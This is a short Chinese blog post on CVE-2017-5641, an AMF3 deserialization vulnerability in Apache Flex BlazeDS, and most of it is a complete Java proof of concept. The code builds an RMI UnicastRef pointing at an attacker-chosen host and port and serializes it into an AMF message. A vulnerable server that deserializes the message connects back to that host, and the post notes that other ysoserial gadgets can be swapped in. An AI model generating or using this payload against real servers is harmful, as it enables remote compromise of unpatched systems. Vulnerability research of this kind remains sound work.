Fork me on GitHub

Apache Flex BlazeDS(CVE-2017-5641)AFM3反序列化

详细的AFM协议看这篇文章:
http://network.51cto.com/art/201006/207886.htm
给出原始的demo

package ysoserial.payloads;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.Arrays;

import flex.messaging.io.SerializationContext;
import flex.messaging.io.amf.ActionContext;
import flex.messaging.io.amf.ActionMessage;
import flex.messaging.io.amf.AmfMessageDeserializer;
import flex.messaging.io.amf.AmfMessageSerializer;
import flex.messaging.io.amf.MessageBody;

public class Amf3ExternalizableUnicastRef {

    public static void main(String[] args) throws Exception {
        if (args.length < 2 || (args.length == 3 && !args[0].equals("-d"))) {
            System.err.println("usage: java -jar " + Amf3ExternalizableUnicastRef.class.getSimpleName() + ".jar [-d] <host> <port>");
            return;
        }
        boolean doDeserialize = false;
        if (args.length == 3) {
            doDeserialize = true;
            args = Arrays.copyOfRange(args, 1, args.length);
        }

        // generate the UnicastRef object
        Object unicastRef = generateUnicastRef(args[0], Integer.parseInt(args[1]));
        // serialize object to AMF message
        byte[] amf = serialize(unicastRef);
        // deserialize AMF message
        if (doDeserialize) {
            deserialize(amf);
        } else {
            System.out.write(amf);
        }
    }

    public static Object generateUnicastRef(String host, int port) {
        java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
        sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
        sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
        return new sun.rmi.server.UnicastRef(liveRef);
    }

    public static byte[] serialize(Object data) throws IOException {
        MessageBody body = new MessageBody();
        body.setData(data);

        ActionMessage message = new ActionMessage();
        message.addBody(body);

        ByteArrayOutputStream out = new ByteArrayOutputStream();

        AmfMessageSerializer serializer = new AmfMessageSerializer();
        serializer.initialize(SerializationContext.getSerializationContext(), out, null);
        serializer.writeMessage(message);

        return out.toByteArray();
    }

    public static void deserialize(byte[] amf) throws ClassNotFoundException, IOException {
        ByteArrayInputStream in = new ByteArrayInputStream(amf);

        AmfMessageDeserializer deserializer = new AmfMessageDeserializer();
        deserializer.initialize(SerializationContext.getSerializationContext(), in, null);
        deserializer.readMessage(new ActionMessage(), new ActionContext());
    }
}

序列化数据封装到body.setData(data);中,generateUnicastRef函数相当与yso中的JRMPClient模块,只不过yso中的这个模块添加了代理的代码。实现效果如下:
Alt text
如果将其他的gadgets赋值到setData中也是一样的
Alt text
http://codewhitesec.blogspot.com/2017/04/amf.html

posted @ 2019-08-22 18:20  Afant1  阅读(1509)  评论(0编辑  收藏  举报